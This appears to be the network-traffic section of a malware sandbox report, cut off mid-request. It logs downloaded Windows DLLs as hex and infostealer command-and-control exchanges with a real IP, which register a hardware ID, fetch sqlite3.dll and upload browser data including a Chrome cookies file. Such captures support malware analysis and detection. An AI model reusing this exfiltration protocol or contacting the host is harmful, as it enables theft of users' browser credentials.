Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 16:59:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 16:59:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 16:59:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 16:59:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 16:59:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 44 36 42 41 41 42 37 31 30 38 33 36 37 34 34 38 30 34 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 2d 2d 0d 0a Data Ascii: ------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="hwid"81D6BAAB71083674480464------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="build"tale------HCBAKJEHDBGHIEBGCGDG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKECAAAFHJECAAAEBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------GHJKECAAAFHJECAAAEBFContent-Disposition: form-data; name="message"browsers------GHJKECAAAFHJECAAAEBF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="message"plugins------IJDGCAEBFIIECAKFHIJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="message"fplugins------JKEGDHCFCAAECAKECBAF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDBHost: 185.215.113.206Content-Length: 5863Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 